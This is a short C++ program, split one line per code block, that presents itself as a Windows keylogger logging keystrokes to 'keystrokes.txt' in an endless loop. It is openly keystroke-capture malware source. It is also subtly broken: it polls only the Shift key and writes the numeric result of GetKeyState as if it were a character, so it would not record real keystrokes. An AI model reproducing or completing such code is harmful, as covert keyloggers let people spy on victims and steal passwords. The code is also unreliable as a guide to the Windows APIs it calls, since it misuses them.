

```
#include <iostream>
```

```
#include <fstream>
```

```
#include <Windows.h>
```

```
using namespace std;
```

```
int main() {
```

```
    // Open a file for writing keystrokes
```

```
    ofstream logFile("keystrokes.txt");
```

```
    if (!logFile.is_open()) {
```

```
cerr << "Error opening file for writing." << endl;
```

```
return 1;
```

```
}
```

```
// Start listening for keystrokes
```

```
while (true) {
```

```
    // Get the next keystroke
```

```
    int key = GetAsyncKeyState(VK_SHIFT);
```

```
    if (key & 0x8000) { // Check if key is pressed
```

```
        char keyChar = (char)GetKeyState(VK_SHIFT); // Get key character
```

```
// Write keystroke to file
```

```
logFile << keyChar;
```

```
}
```

```
}
```

```
// Close the file
```

```
logFile.close();
```

```
return 0;
```

```
}
```